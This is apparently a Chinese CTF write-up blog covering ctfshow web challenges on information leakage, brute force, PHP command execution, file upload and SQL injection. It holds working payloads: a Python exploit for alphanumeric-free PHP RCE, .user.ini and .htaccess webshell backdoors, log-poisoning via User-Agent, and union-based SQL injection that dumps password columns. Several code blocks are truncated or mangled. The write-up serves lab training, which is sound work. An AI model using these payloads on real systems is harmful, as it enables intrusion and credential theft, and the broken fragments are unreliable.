前言
记录web的题目wp,慢慢变强,铸剑。
信息搜集
web1
右键查看源代码即可
ctrl+u
web2
1、关掉javascript然后查看源码
2、ctrl+shift+i
3、view-source:
4、点击更过工具,开发者工具查看元素获得页面注释通过开发者工具查看网络response结果获得flag
web3
开发者工具network抓包查看http协议头里面有个flag协议头,提交即可burpsuite抓包也可以
ctfshow{53968446-5c49-4e0a-a6af-3df14463c786}
web4
直接上手君子协议
ctfshow{ca6071e4-33fd-4e4b-8f0e-c08bc2b1e7b1}
web5
考虑了半天,提示phps源码泄露
还是得看tips
ctfshow{70bc7249-1347-4d63-9f62-b1c752661b03}
web6
/www.zip,下载源码,然后网页上访问http://55a647d5-d0fc-40ec-93e4-edd2b997ed11.challenge.ctf.show:8080/fl000g.txt
ctfshow{6a630fef-804b-4f6a-a892-e3e3f0f5fe6f}
web7
考部署环境,时/.git/泄露代码
web8
是svn代码泄露,url/.svn/,后面这个/一定要加,不然就进不去
web9
linux中vim访问缓冲index.php.swp信息泄露
ctfshow{6100df72-a079-4f17-97b8-56886e12c786}
web10
cookie中
web11
web12
先看一波君子协议
然后admin和他手机是密码
robots.txt
web13
document下载
技术文档
web14
看题目,写editor编译器泄露,查看源码搜索找到editor
通过路径找到flag
http://c8ed7f63-f69c-4c94-9a34-5988bbdf9155.challenge.ctf.show:8080/nothinghere/fl000g.txt
web15
通过邮箱查地址
改密码:西安
web16
进入tz.php这是默认
然后再点击phpinfo按钮里面有flag
web17
ping www.ctfshow.com
web18
http://d3be1272-066a-49ff-a6e8-b8def169e782.challenge.ctf.show:8080/110.php
web19
绕过前端JS直接提交hash使用hackbar的post:pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04&username=admin
post传参
web20
mdb文件asp+access数据库文件泄露
db/db.mdb,打开
爆破
web21
tomcat认证爆破之burp custom iterator
- 第一种方式-burp使用之自定义迭代器
base64解密 就是 admin:admin形式,我输入的账号和密码就是admin和admin
说明这是base64加密
position(1)
- 第二种方式-直接固定前缀
web22
- 说是爆破子域名用这个网站:https://phpinfo.me/domain
- 第二种是利用搜索引擎的语法进行搜索
web23
源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
web24
- mt_srand(seed) 根据seed的值会一直不变,不过不同的php版本会导致不同的结果
web25
- 使用网上找的程序php_mt_seed随机种子破解https://www.openwall.com/php_mt_seed/
web26
web27
- 得到了名单,明显缺少出生年月日
- 中间缺少8位数,利用1990年到2000年之间的出生日期构造第一名学生的身份证号payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for ($y=1990; $y < 2000; $y++) {
for ($m=1; $m < 13; $m++) {
if ($m < 10) {
$m = "0".$m;
}
for ($d=1; $d < 32; $d++) {
if ($d < 10) {
$d = "0".$d;
}
echo "621022".$y.$m.$d."5237"."<br/>";
}
}
}
- burp跑一遍
web28
- 发现index会跳转0/1/2.txt
- 正常网站是index.php
- 报错0和1的深度试试
命令执行
web29
web30
web31
web32
web33
web34
- 和33题一样
web35
- 和32题一样
web36
- 和32题一样就是把1换成a
web37
web38
web39
- 和38一样
web40
1
2
3
4
5
6
7
8
9
10
11
12
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
- 根据提示套娃方法
- show_source(next(array_reverse(scandir(pos(localeconv())))));
- 解析:show_source(“flag.php”);可以直接显示当前文件
- localeconv()数组中第一个元素是.可以取路径
- pos()就是取数据中第一个元素
- array_reverse()将数组倒序利用next()取flag.php就执行了flag.php
- 根据cookie命令执行方法
- c=session_start();system(session_id()); passid=ls
- 解析利用session会话进行获取passid中的ls来进行命令执行
- 但是不能正常执行tac flag.php
- 根据post传参来进行命令执行
- 利用-print_r(get_defined_vars())输出所有变量来查看
- 利用next和array_pop来取出值
- eval没有被禁用,尝试命令执行
web41
1 | if(isset($_POST['c'])){ |
- 过滤了数字和字母和一些其他字符我们还是可以利用或运算来进行绕过,例如A的ascii码是65,用羽师傅的代码写的是64|1就得到了65,来构造payload
经过测试,想要在php中实现或运算,实际上服务器上会进行url解码,所以需要用十六进制的字符编码利用或运算进行绕过前端代码验证,写了个代码进行验证,因为phpinfo()可以使用(‘phpinfo’)()形式执行所以构造了
1
2
3
4
5
6
7
8
9
10
11
12
/*
# -*- coding: utf-8 -*-
# @Author: GuYing
# @Date: 2021/7/17
*/
//或
$c = $_GET['c'];
eval("echo($c);");
//(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()可以直接绕过当(’PHPINFO‘)()执行构造
1
2
3 payload1 ?c=(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()
payload2 ?c=(("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60"))()
沿用羽师傅的代码
解释一下:先是ascill码256个字符的所对应的16进制数,然后利用preg_match排除他们本身的二进制字符串是属于被过滤范围内的,可以大量减少运行时间,然后再读入到rce_or.txt中,利用python写exp进行利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
# -*- coding: utf-8 -*-
# @Author: GuYing
# @Date: 2021/7/17
*/
//异或
$myfile = fopen("rce_or.txt", "w");
$contents = "";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j < 256 ; $j++) {
if ($i<16) {
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j = dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg, hex2bin($hex_i))||preg_match($preg, hex2bin($hex_j))){
echo '';
}
else{
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c)>=32&ord($c)<=126)
{
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);python跑一下脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") # 执行shell语句
if (len(argv) != 2):
print(len(argv))
print(argv)
print(argv[0:2])
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 +"\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("Your function : ")) + action(input("Your command: "))
print("Your payload: "+param);
data = {
'c': urllib.parse.unquote(param)
}
print(data)
r = requests.post(url , data=data)
print("result: "+r.text)
web42
1 | if(isset($_GET['c'])){ |
web43
1 | if(isset($_GET['c'])){ |
web44
1 | if(isset($_GET['c'])){ |
web45
1 | if(isset($_GET['c'])){ |
web46
1 | if(isset($_GET['c'])){ |
web47
1 | if(isset($_GET['c'])){ |
web48
1 | if(isset($_GET['c'])){ |
web49
web50
1 | if(isset($_GET['c'])){ |
web51
1 | if(isset($_GET['c'])){ |
web52
1 | if(isset($_GET['c'])){ |
看一下目录
直接看看a.txt是啥
发现有个flag文件在根目录
用nl或者ta’’c看看’’是用来过滤
web53
1 | if(isset($_GET['c'])){ |
web54
1 |
|
web55
1 | if(isset($_GET['c'])){ |
- bin为binary的简写,主要放置一些系统必备的执行命令,里面有base64可以试试绕过
1 | ?c=/???/????64 ????.??? 相当于 ?c=/bin/base64 flag.php |
- 解密之后就是结果
- 毕竟不是万能的,所以看了一下经典的p师傅上传命令执行,写一个upload.php简单的上传功能,然后利用. 来执行shell语句,建议看看无字母数字webshell命令执行了解一下原理
1 |
|
- 因为php的上传文件之后,服务端并没有直接丢弃上传的文件,而是放在了/tmp/????????? 这里有九位数字可以为/tmp/phpabcabD因为正常情况最后一位都会是大写字母,利用[@-[]来确定执行范围所以构造payload(@-[是大写字母的范围可以去查ascii码)好像构造的时候.后面得加个空格或者+号也行
1 | ?c=.+/???/????????[@-[] |
- 上传抓包
- 经此可以发现写个python代码直接上传文件,就写入cat flag.php 不用加#!bin/sh
1 | import requests |
web56
- 过滤的数字,但是还是不影响第二种命令执行的方法,延续上题,或者python代码跑一波
web57
文件上传
web151
- 直接抓包改后缀名
web152
- 和上题一样
web153
- 对php后缀基本都限制了,我们构造.user.ini用户后门
- php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
1 | auto_prepend_file=filename //包含在文件头 |
- auto_prepend_file=1.png 就相当于当前目录中所有的php文件都调用了require(‘1.png’),只要进入任意一个php文件就可以使用1.png中我们构造的一句话木马来直接getshell和命令执行。
- 首先上传.user.ini文件
- 再直接上传01.png
- 直接拿flag
web154
- 和上题一样传了个.user.ini文件进去,结果一句话木马写不进去,改用短标签代码<?=就相当于echo接着双反引号执行命令要记得闭合
web155
- 和上题一样
web156
- 和上题一样
web157
- 和上题一样就是分号过滤了,分号改成?>
web158
- 和上题一样
web159
- 和上题一样
web160
- 过滤了反引号,那就文件包含,因为php被过滤了所以得用.来绕过
1 | <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?> |
web161
- 连普通的图片的上传上去,查了下
- getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
- 所以在上题的基础上都加个GIF89a图片头就可以了
web162
- .user.ini
1 | GIF89A |
- exp162.py
1 | import io |
- 运行结果
web163
- 和上题一模一样
web164
- 题目说改头换面,猜测可能是二次渲染,大家可以参考国光师傅
- 直接用外国大佬脚本生成一个
1 |
|
- 打开看看是否成功写入
1 | 0]($_POST[1]); =$_GET[ |
- 直接上传,抓包,改post传参然后getflag
web165
- 这次变成jpg二次渲染,网上找大佬代码
1 |
|
- 上传一个jpg图片,因为有些图片的成功率不太高,就直接用可以成功的图片,找了个国光老师的图片,原图
- 先上传这个图片,让这个图片被渲染,然后下载下来,格式改jgp
- 上传,抓包记得我们写的一句话是
1 eval($_POST[1]); =
web166
- 查看源码发现只能穿zip
- 抓包,直接给zip上传一句话木马;
- 注意:Content-Type为application/x-zip-compressed
- 抓刚刚传进去的文件,根据zip文件上传的文件包含的特性直接命令执行
web167
- 根据提示说httpd,想到是.htaccess,应该是要利用.htaccess进行绕过
- htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
- 方法一
1 | AddType application/x-httpd-php .jpg //将.jpg后缀解析成php执行 |
- 方法二
1 | <FilesMatch "png"> |
- 两个方法一个意思两种写法,这里用方法一,上传.htaccess
- 在上传一个1.jpg的一句话木马
- 直接打开1.jpg的图片拿flag
web168
- 提示说基础免杀,这里提供几个基础的免杀脚本
- 前三个免杀 密码 0 最后一个自己构造
1 |
|
1 |
|
1 |
|
1 |
|
- 抓包上传
web169
- 右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改
Content-Type
为image/png
,可以传php等格式,但发现内容中过滤了<>
和php
,试了下可以传.user.ini
,我们尝试一下日志包含,User-Agent
加上一句话木马
- .user.ini
1 | auto_prepend_file=/var/log/nginx/access.log |
- 1.php
- 访问1.php发现成功包含
随便访问一个页面写一个User-Agent
测试phpinfo();
- 直接连webshell找flag或者直接命令执行
web170
- 和上题一样
SQL注入
web171
- 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
1 | //拼接sql语句查找指定ID用户 |
- GET传参会自己解码,注释可以用%23(#), –空格,–+等,或者拼接语句不用注释也行
- 判断有3个字段
1 | 1' order by 3--+ |
- 联合查询,查表
1 | 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
- 查字段
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+ |
- 查flag
1 | 1' union select 1,2,password from ctfshow_user --+ |
web172
1 | //检查结果是否有flag |
- 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1 | 1' union select 1,password from ctfshow_user2--+ |
web173
- 和上题一样
1 | 1' union select 1,2,password from ctfshow_user3--+ |
web174
1 | //检查结果是否有flag |
- 过滤了数字,考察replace的运用,先判断有几个字段
1 | 1' order by 2 %23 |
- 联合函数添加a和b两个数据ok
- 先构造一个replace将0-9全部置换
1 | select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ'); |
- 查表构造语句将1-0换成table_name
1 | 1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23 |
- 查字段名
1 | 1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23 |
- 查结果
1 | 1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+ |
- 写个小py来转换一下
1 | import requests |